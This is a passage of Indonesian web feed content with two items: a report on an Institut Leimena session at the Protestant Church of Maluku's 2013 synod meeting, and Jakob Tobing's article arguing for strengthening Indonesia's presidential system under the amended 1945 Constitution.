Pada tanggal 17-22 November 2013 lalu dilaksanakan persidangan ke-35 Majelis Pekerja Lengkap (MPL) Sinode Gereja Protestan Maluku (GPM) di Uwen Gabungan, Pulau Seram, Maluku. Tim Institut Leimena yang terdiri dari Maruarar Siahaan (Mantan Hakim Konstitusi RI (2003-2009), Chairman Legal and Judicial Studies Taskforce Institut Leimena), Matius Ho, dan Viona Wijaya ikut menghadiri acara akbar yang menghimpun seluruh pimpinan jemaat se-Maluku. Tim tiba di Uwen Gabungan pada tanggal 17 November 2013 dan disambut oleh Ketua Sinode, Pdt. Dr. J. Chr. Ruhulessin, M.Si., mengikuti rangkaian kegiatan pada hari tersebut dan membawakan sesi keesokan harinya, 18 November 2013.

Persidangan yang bertema, “Tuhan Itu Baik Kepada Semua Ciptaan”, dengan sub-tema, “Mencerdaskan Umat untuk Bersama-sama Melakukan Tugas Pembaruan dalam Kehidupan Bergereja, Bermasyarakat dan Berbangsa” tersebut diikuti dengan sangat antusias oleh peserta persidangan yang kurang lebih berjumlah 300 orang.  Institut Leimena membawakan sesi Kepemimpinan Publik dan Hak Ulayat. Sesi ini mendapat respon yang sangat baik dari peserta, ditunjukkan dengan  peserta aktif bertanya dan menyampaikan gagasan-gagasannya.

Persoalan kepemimpinan publik dan hak ulayat memang merupakan masalah aktual yang sedang dihadapi masyarakat Maluku. Berbagai kasus yang sedang terjadi di daratan Maluku misalnya kasus Pulau Aru yang sekitar ¾ lahannya direncanakan akan dialihfungsikan menjadi kebun tebu membuat banyak pihak gelisah utamanya masyarakat hukum adat setempat.

Derasnya arus pembangunan yang memasuki bumi Maluku membutuhkan pemimpin-pemimpin yang mampu bersikap bijak dalam mengambil keputusan-keputusan. Di sisi lain, situasi ini juga meneguhkan bahwa pencerdasan masyarakat sangat dibutuhkan. Panggilan inilah yang hendak dijawab oleh GPM supaya gereja dapat ikut berperan mengurai permasalahan-permasalahan sosial yang ada bersama-sama dengan masyarakat lain dengan tetap memerhatikan batasan-batasan yang dimiliki gereja.

Semangat pencerdasan dan pembaruan yang diserukan GPM bagi bumi Maluku selayaknya menjadi inspirasi bagi gereja-gereja di seluruh Indonesia. Dengan demikian, benarlah gereja dapat menjadi garam dan terang dunia dalam kehidupan bergereja, bermasyarakat, dan berbangsa!

1,366 total views, 1 views today

]]>
http://sinodegpm.org/?feed=rss2&p=513 1
Menegakkan Sistem Presidensiil (Bagian pertama dari dua Tulisan) http://sinodegpm.org/?p=191 http://sinodegpm.org/?p=191#comments Mon, 26 Aug 2013 13:08:21 +0000 http://sinodegpm.org/?p=191
Oleh Drs. Jakob TObing, M.P.A.

CIVIS 006 2013 artikel 1

Dihadapan pemimpin redaksi berbagai media massa tgl 16 Juli 2013 yang lalu, Presiden SBY melemparkan lima masalah yang menjadi tantangan bangsa ke depan. Beliau antara lain mempertanyakan apakah kita memilih sistem presidensiil murni ataukah menerapkan sistem ketatanegaraan semi-parlementer? Apakah checks and balances yang dijalankan sekarang ini sudah tepat? Pada kesempatan itu Presiden SBY juga mengatakan masyarakat sering berharap agar Presiden bertindak seperti pada era otoritarian, padahal dalam era demokrasi sekarang, seharusnya Presiden (pemerintah) menggunakan kaidah demokrasi dan rule of law.

Tentu ada alasan mengapa beliau melontarkan masalah itu. Kelihatannya Pak SBY menilai sistem yang diterapkan sekarang ini tidak cocok. Secara umum, seperti pernah saya tulis beberapa waktu yang lalu, sistem kita sering disindir sebagai sistem presidensiil rasa parlementer. Resminya sistem presidensiil tetapi prakteknya cenderung parlementer. Dalam banyak hal, presiden sebagai kepala eksekutif dianggap, misalnya dalam membentuk undang-undang, termasuk UU APBN, harus tunduk kepada DPR, dalam mengangkat Duta Besar harus mengikuti kemauan DPR yang melakukan fit and proper test atas calon Duta Besar, dalam mengangkat Panglima TNI dan Kapolri harus dengan persetujuan DPR. Presiden sangat tergantung pada peta dukungan politik di parlemen (DPR). Sehingga Presiden SBY (terpaksa?) membangun kabinet koalisi dengan harapan partai-partai koalisi akan mendukung kebijakannya di DPR. Sedemikian, sehingga bandul kekuasaan yang tadinya amat besar pada presiden, sementara DPR dan yang lain lemah, berayun terlalu jauh menjadi DPR terlalu berkuasa dan kekuasaan Presiden tergerus hampir habis,  lemah dan seperti disimpulkan konvensi Alumni Lemhanas 2007, tidak mangkus lagi.

Sementara pada pihak lain, ada pendapat bahwa sistem presidensiil dalam prakteknya, terutama negara dengan budaya politik yang belum cukup matang dan masyarakat sipil yang lemah, dengan mudah berubah menjadi sistem otoriter seperti terjadi pada masa lalu kita dan juga dibeberapa negara lain.

Melihat kenyataan itu, dipertanyakan apakah kita akan tetap mempertahankan sistem presidensiil atau mengubahnya menjadi sistem (semi-) parlementer dengan meng-amandemen lagi amandemen UUD 1945?

Tetapi, sebelum melangkah lebih jauh, oleh karena amandemen konstitusi bukanlah hal yang tabu, perlu dipertanyakan apakah memang sistem presidensiil, bila diterapkan sebagaimana harusnya selalu akan atau selalu mudah menjadi otoritarian? Apakah sistem presidensiil memiliki potensi benefit yang melampaui potensi sisi negatifnya untuk kita sebagai negara berkembang yang besar dan amat majemuk? Selanjutnya, apakah sistem presidensiil yang dianut oleh UUD 1945 {Pasal 4 (1)} telah dilaksanakan sebagaimana harusnya? Atau apakah ada ketentuan dalam UUD 1945 atau apakah ada peraturan perundangan dan perangkat lain dibawah UUD yang menyimpang dari UUD 1945 yang tidak sesuai dengan sistem presidensiil itu?

Pertanyaan yang lain tentu adalah apakah sistem (semi-) parlementer cocok untuk kita, negara kesatuan yang besar dan amat majemuk serta masih tergolong negara berkembang?

Sistem Presidensiil Dan Sistem Kepartaian.

Proses amandemen UUD 1945 yang berlangsung dalam satu rangkaian proses bertahap dari tahun 1999 sampai dengan 2002 (bukan dalam 4 kali amandemen), telah dengan sengaja memilih melanjutkan sistem presidensiiil, bukan sistem parlementer, karena berbagai pertimbangan. Disadari bahwa jumlah partai di Indonesia amat banyak (peserta pemilu 1999 48 parpol) sehingga ada anggapan lebih cocok untuk membangun sistem parlementer. Tetapi mengingat pengalaman sistem parlemen sebelumnya (1950-1957), dimana pemerintahan silih berganti jatuh-bangun dalam waktu singkat (6 kabinet dalam 7 tahun), penuh dengan goncangan politik dan karenanya tidak ada kabinet yang sempat berkarya, risalah amandemen UUD 1945 mencatat semua pihak memilih mempertahankan sistem presidensiil. Tidak ada yang memilih sistem parlementer. Tetapi, semua pihak juga menyadari bahwa sistem presidensiil ber-pontensi berubah menjadi otoriter, seperti pernah kita alami dimasa lalu dan juga oleh negara-negara lain.

Demikianlah sistem presidensiil telah dipilih karena dinilai lebih stabil dan berpeluang berprestasi karena masa jabatannya tertentu (fixed-term) dan kekuasaan eksekutif terpusat di tangan Presiden, sehingga harusnya lebih cekatan mengatasi berbagai masalah dan tantangan.

Tetapi perlu dicatat bahwa pilihan itu disertai disertai ketentuan lain untuk membatasinya (limitations of power), seperti negara hukum (rule of law) {Pasal 1 (2)}, hak asasi manusia (Pasal 28A-J), pembatasan masa jabatan maksimum 2 kali berturut-turut (Pasal 7), mekanisme checks and balances dalam sistem pemisahan dan pembagian kekuasaan (separation and sharing of powers), seperti DPR dengan kekuasaan legislatif, anggaran dan pengawasan, dll (Pasal 20A) dan kekuasaan kehakiman yang merdeka {Pasal 24 (1)}, kekuasaan judicial review oleh Mahkamah Konsitusi (Paal 24C), BPK yang merdeka {Pasal 23E), pemilu dan pilpres langsung sebagai mekanisme sirkulasi kepemimpinan yang demokratis dan periodik (Pasal 6A & 22E), penegasan bahwa parpol adalah instrumen konstitusi {Pasal 22E (3)}, dsb.

Demikian pula, risalah rapat amandemen mencatat bahwa fraksi-fraksi berkehendak untuk mengurangi jumlah partai politik dalam pemerintahan, untuk membangun sistem kepartaian majemuk-sederhana (simple multi-party system), dengan menerapkan ambang batas tertentu suara yang diperoleh parpol dalam pemilu (electoral threshold). Tata-cara pencalonan dan pemlihan presiden juga diatur sedemikian, diajukan dalam satu paket oleh parpol dan/atau gabungan parpol peserta pemilu, sebelum pemilu {Pasal 6A (2)}, dimaksudkan agar penggabungan parpol terjadi berdasarkan kesepakatan visi dan misi, bukan sekedar koalisi yang transaksional bila dilakukan setelah pemilu. Political engineering itu dimaksudkan agar dalam beberapa kali pemilu, jumlah partai akan berkurang dan perilaku politiknya sesuai dengan sistem presidensiil. Dengan perkataan lain UUD 1945 juga mengandung langkah rekayasa yang perlu dilaksanakan untuk antara lain, membangun sistem kepartaian yang cocok.

Presiden Dan Parlemen.

UUD 1945 menetapkan bahwa pasangan Presiden dan Wakil Presiden dipilih secara langsung dan satu masa jabatannya pasti, 5 tahun dan hanya boleh menjabat berturut-turut untuk 2 masa jabatan. Presiden tidak bertanggungjawab pada DPR dan walaupun DPR dapat meminta MPR untuk memakzulkan Presiden/Wakil Presiden, tetapi yang berhak memberhentikannya adalah MPR, setelah Mahkamah Konsitusi memutuskan bahwa Presiden melanggar ketentuan UUD seperti yang dituduhkan DPR (Pasal 7a & 7B). Jadi, DPR tidak mudah menggoyang kedudukan Presiden.

Meskipun kewenangan membentuk undang-undang dipindahkan dari Presiden kepada DPR {Pasal 20 (1)}, namun Presiden tidak berada dibawah atau harus tunduk kepada DPR. Sebuah rancangan undang-undang (RUU) hanya dapat ditetapkan menjadi undang-undang (UU) bila RUU itu telah dibahas bersama dan telah disetujui bersama oleh DPR dan Presiden {Pasal 20 (2)}. Dalam hal itu, DPR yang terdiri dari 560 anggota adalah satu lembaga dan seorang Presiden juga adalah satu lembaga, yang kedudukan dan suaranya seimbang dan sama kuat. Seandainya seluruh anggota DPR berpendapat A tetapi seorang Presiden tidak sependapat maka RUU itu tidak bisa ditetapkan menjadi UU. Artinya Presiden tidak harus tunduk kepada DPR. Demikian pula sebaliknya.

Pada masa reformasi, seorang Presiden pernah menyatakan tidak sepakat terhadap sebuah RUU walaupun DPR bersikeras menjadikannya sebagai UU (RUU Otorita Batam). Dengan demikian, untuk membuat UU, sebuah produk hukum tertinggi sesudah UUD, DPR dan Presiden harus bermusyawarah untuk sepakat, sebagaimana diarahkan oleh sila ke-4 Pancasila. Bila Presiden atau DPR ingin memenangkan sebuah RUU, harus dilakukan pendekatan dan lobby intensif, terbuka atau tertutup, untuk meyakinkan Presiden atau meyakinkan mayoritas anggota DPR. Dalam hubungan itu, dukungan rakyat yang diperoleh Presiden pada waktu pilpres, harus dapat dijadikan modal politik. Sikap seperti itu akan dapat mengatasi kemungkinan kebuntuan (grid-locked) atas sebuah RUU, apalagi UUD memberi kewenangan tambahan kepada Presiden untuk mengatasi sebuah kebuntuan (Pasal 22).

Apabila sebuah RUU telah disepakati bersama oleh DPR dan Presiden, maka RUU itu harus diundangkan oleh Presiden sebagai kepala negara. Dimasa lalu pernah terjadi ada RUU yang sudah disepakati DPR dan Presiden (RUU Penyiaran) tidak diundangkan oleh Presiden, sehingga RUU itu tidak pernah menjadi UU. Untuk mencegah hal itu dan untuk menegaskan kekuasaan membentuk UU ada ditangan DPR, maka bila dalam masa 30 hari RUU yang sudah disepakati bersama oleh DPR dan Presiden tidak diundangkan oleh Presiden, maka RUU itu otomatis sah menjadi UU {Pasal 20 (5)}. Jadi, tidak benar anggapan bahwa DPR dapat memaksakan sebuah RUU menjadi UU tanpa persetujuan Presiden. Dengan proses seperti itu, amandemen tidak perlu memberikan hak veto kepada Presiden, karena memang tidak diperlukan lagi dan juga tidak sesuai dengan semangat musyawarah.

Dalam sebuah diskusi studi banding di Washington, seorang pakar tatanegara AS mengakui bahwa sistem veto mereka berpotensi menimbulkan beban politik yang berat manakala seorang presiden mem-veto sebuah UU yang telah disahkan oleh Kongres (House atau Senate). Oleh karena itu, pada prakteknya, Presiden dan Kongres AS selalu melakukan lobby yang intensif agar tercapai kesepakatan sebelum sebuah RUU disahkan menjadi UU.

Duta Besar adalah wakil bangsa dan negara dan wakil pribadi Presiden di negara sahabat. Pada masa lalu tidak jarang terjadi pos duta besar itu hadiah bagi orang tertentu atau juga tempat pembuangan orang tertentu. Oleh karena itu amandemen UUD menegaskan bahwa dalam mengangkat duta besar presiden perlu memperhatikan pertimbangan DPR {Pasal 13 (2)}. Tapi prakteknya, secara sepihak DPR mengartikan pertimbangan itu sebagai fit and proper test. Seolah-olah DPR yang menentukan layak atau tidak layaknya seseorang menjadi duta besar. Pada masa lalu, walaupun pertimbangan DPR diperhatikan, tetapi Presiden-lah yang menetapkan duta besar sesuai dengan kebijakannya. Tetapi belakangan kelihatannya Presiden mengikatkan diri pada hasil fit and proper test DPR.

Presiden memegang kekuasaan pemerintahan menurut UUD (Pasal 4) dan memegang kekuasaan tertinggi atas Angkatan Darat, Angkatan Laut dan Angkatan Udara (Pasal 10). Pada kenyataannya, untuk mengangkat Kapolri dan Panglima TNI, UU mengharuskan Presiden memperoleh persetujuan DPR (UU no. 2/2002 tentang Kepolisian  dan UU no. 34/2004 Tentang TNI). Artinya seorang Presiden yang oleh UUD diberikan kekuasaan (tertinggi) harus meminta persetujuan lembaga lain yang setara dengan presiden untuk menentukan bawahannya di eksekutif, walaupun pejabat itu bertanggung jawab kepada Presiden.

Artikel ini telah dimuat oleh Harian Suara Pembaruan, pada tanggal 24-25 Juli 2013, dengan judul “Menata (Kembali) Sistem Tata Negara: Menegakkan Sistem Presidensiil” (dalam dua bagian tulisan).

Jakob Tobing. Presiden Institut Leimena, Duta Besar RI untuk Korea Selatan (2004 – 2008), Ketua PAH I BP-MPR, Amandemen UUD 1945 (1999-2002), Anggota Komisi Pemilihan Umum (KPU, 1999-2002), Ketua Panitia Pemilihan Umum Indonesia (PPI, 1999), Wakil Ketua Panitia Pengawas Pemilu (Panwaslu, 1992), Anggota Panwaslu (1987), Anggota DPR/MPR (1968 – 1997, 1999 – 2004).

1,766 total views, 1 views today

]]>
http://sinodegpm.org/?feed=rss2&p=191 3